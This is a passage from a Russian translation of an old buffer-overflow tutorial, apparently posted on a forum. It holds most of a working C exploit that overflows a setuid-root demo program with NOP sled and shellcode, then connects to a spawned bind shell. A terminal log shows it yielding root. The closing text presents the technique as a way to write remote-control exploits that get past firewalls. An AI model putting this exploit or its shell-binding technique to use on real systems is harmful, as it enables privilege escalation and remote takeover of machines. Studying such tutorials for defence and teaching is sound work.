  140. int connect_sh(long ip)
  141. {
  142.         int sockfd,i;
  143.         struct sockaddr_in sin;
  144.         printf("Connect to the shell\n");
  145.         fflush(stdout);
  146.         memset(&sin,0,sizeof(sin));
  147.         sin.sin_family=AF_INET;
  148.         sin.sin_port=htons(30464);
  149.         sin.sin_addr.s_addr=ip;
  150.         if((sockfd=socket(AF_INET,SOCK_STREAM,0))&lt;0)
  151.         {
  152.                 printf("Can't create socket\n");
  153.                 exit(0);
  154.         }
  155.         if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))&lt;0)
  156.         {
  157.                 printf("Can't connect to the shell\n");
  158.                 exit(0);
  159.         }
  160.         return sockfd;
  161. }
  162.  
  163. void main(int argc,char **argv)
  164. {
  165.         char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
  166.         long addr;
  167.         unsigned long sp;
  168.         int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
  169.         int i;
  170.         int sockfd;
  171.  
  172.         if(argc&gt;1)
  173.                 offset=atoi(argv[1]);
  174.  
  175.         sp=get_sp();
  176.         addr=sp-offset;
  177.  
  178.         for(i=0;i&lt;bsize;i+=4)
  179.         {
  180.                 buff[i+ALIGN]=(addr&0x000000ff);
  181.                 buff[i+ALIGN+1]=(addr&0x0000ff00)&gt;&gt;8;
  182.                 buff[i+ALIGN+2]=(addr&0x00ff0000)&gt;&gt;16;
  183.                 buff[i+ALIGN+3]=(addr&0xff000000)&gt;&gt;24;
  184.         }
  185.  
  186.         for(i=0;i&lt;bsize-RANGE*2-strlen(shellcode)-1;i++)
  187.                 buff[i]=NOP;
  188.  
  189.         ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
  190.         for(i=0;i&lt;strlen(shellcode);i++)
  191.                 *(ptr++)=shellcode[i];
  192.  
  193.         buff[bsize-1]='\0';
  194.  
  195.         printf("Jump to 0x%08x\n",addr);
  196.  
  197.         if(fork()==0)
  198.         {
  199.                 execl("./vulnerable4","vulnerable4",buff,0);
  200.                 exit(0);
  201.         }
  202.         sleep(5);
  203.         sockfd=connect_sh(getip("127.0.0.1"));
  204.         exec_sh(sockfd);
  205. }
  206. ---------------------------------------------------------------------------

жертва vulnerable4:

Код (Text):
  1.  
  2. ---------------------------------------------------------------------------
  3. [ ohhara@ohhara ~ ] {1} $ ls -l vulnerable4
  4. -rwsr-xr-x   1 root     root         4091 Oct 18 20:21 vulnerable4*
  5. [ ohhara@ohhara ~ ] {2} $ ls -l exploit4
  6. -rwxr-xr-x   1 ohhara   cse          7973 Oct 18 20:25 exploit4*
  7. [ ohhara@ohhara ~ ] {3} $ ./exploit4
  8. Jump to 0xbfffec64
  9. Connect to the shell
  10. Can't connect to the shell
  11. [ ohhara@ohhara ~ ] {4} $ ./exploit4 500
  12. Jump to 0xbfffea70
  13. Connect to the shell
  14. whoami
  15. root
  16. ---------------------------------------------------------------------------

6.5 Чего мы можем достить при помощи этой техники?

Мы можем писать эксплойты удаленного контроля. Если уязвимый хост находится за файрволлом, то мы можем просто открыть сокет на нефильтруемом порту. Это очень полезная техника в том случае, когда вы атакуете rpc сервис с переполнением буфера.

7. Outro

В этой статье мы пролили свет на 4 техники переполнения буфера, такие как: прохождение через фильтры, смена uid назад на 0, обход chroot-а и открытие сокета. Эти техники будут очень полезны при написании эксплойтов. Кроме того, эти техники можно комбинировать. Все программеры должны быть осторожными при написании серверов или setuid рутовских программ!!! ПОЖАЛУЙСТА БУДЬТЕ ОСТОРОЖНЫ!!!!!(кол-во '!' - взято из оригинала. прим. пер.)

8. Ссылки

Smashing The Stack For Fun And Profit by Aleph1 wu-ftpd remote exploit code by duke ADMmountd remote exploit code by ADM

9. Итд.

Сорри за мой плохой Инглиш (автор) © Taeho Oh, пер. varnie


0 1.231
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532